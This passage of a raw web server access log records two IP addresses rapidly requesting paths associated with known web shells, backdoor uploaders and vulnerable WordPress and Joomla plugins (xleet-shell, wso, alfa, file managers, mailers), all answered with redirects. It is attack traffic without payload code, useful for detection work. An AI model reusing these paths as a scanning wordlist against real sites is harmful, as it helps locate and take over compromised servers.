rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-admin/js/widgets/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/fonts/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-includes/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:49 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:49 -0400] "GET /uploads/owlmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /.well-known/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:50 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-admin/js/pagin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /images/architect.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /uploads/phUploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-includes/link-template-git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-admin/css/colors/coffee/iudate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:50 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /xcvdadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-content/themes/pridmag/1.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /images/upload-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:51 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-includes/dedbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-includes/bestmailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/upgrade/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /wp-admin/includes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:52 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/cherry-plugin/admin/import-export/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/neko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-admin/css/meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:23:53 -0400] "GET 